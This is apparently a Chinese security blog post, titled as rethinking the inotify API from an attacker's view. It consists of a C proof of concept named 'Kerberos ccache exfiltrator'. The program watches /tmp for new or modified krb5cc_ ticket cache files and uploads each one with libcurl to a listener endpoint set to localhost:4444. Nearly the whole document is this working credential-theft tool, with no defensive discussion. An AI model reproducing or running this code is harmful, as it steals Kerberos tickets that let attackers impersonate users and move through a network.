从攻击者角度重新思索inotity API的利用方式
// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-inotify/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <fcntl.h>
#include <curl/curl.h>
#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/
#define LEN_NAME 1024 /*Assuming length of the filename won’t exceed 16 bytes*/
#define EVENT_SIZE ( sizeof (struct inotify_event) ) /*size of one event*/
#define BUF_LEN ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME ) ) /*buffer to store the data of events*/
#define endpoint “http://localhost:4444“
int exfiltrate(char* filename) {
CURL *curl;
CURLcode res;
struct stat file_info;
FILE *fd;
fd = fopen(filename, “rb”);
if(!fd){
return -1;
}
if(fstat(fileno(fd), &file_info) != 0) {
return -1;
}
curl = curl_easy_init();
if (curl){
curl_easy_setopt(curl, CURLOPT_URL, endpoint);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_READDATA, fd);
res = curl_easy_perform(curl);
if (res != CURLE_OK) {
return -1;
}
curl_easy_cleanup(curl);
}
fclose(fd);
return 0;
}
int main(int argc, char **argv){
int length, i= 0, wd;
int fd;
char buffer[BUF_LEN];
char *ticketloc = NULL;
printf(“[Kerberos ccache exfiltrator PoC]\n\n”);
//Initiate inotify
if ((fd = inotify_init()) < 0) {
printf(“Could not initiate inotify!!\n”);
return -1;
}
//Add a watcher for the creation or modification of files at /tmp folder
if ((wd = inotify_add_watch(fd, “/tmp”, IN_CREATE | IN_MODIFY)) == -1) {
printf(“Could not add a watcher!!\n”);
return -2;
}
//Main loop
while(1) {
i = 0;
length = read(fd, buffer, BUF_LEN);
if (length < 0) {
return -3;
}
while (i < length) {
struct inotify_event *event = (struct inotify_event *)&buffer[i];
if (event->len) {
//Check for prefix
if (strncmp(event->name, “krb5cc_”, strlen(“krb5cc_”)) == 0){
printf(“New cache file found! (%s)”, event->name);
asprintf(&ticketloc, “/tmp/%s”,event->name);
//Forward it to us
if (exfiltrate(ticketloc) != 0) {
printf(” – Failed!\n”);
}
else {
printf(” – Exfiltrated!\n”);
}
free(ticketloc);
}
i += EVENT_SIZE + event->len;
}
}
}
}
https://www.freebuf.com/articles/system/200396.html
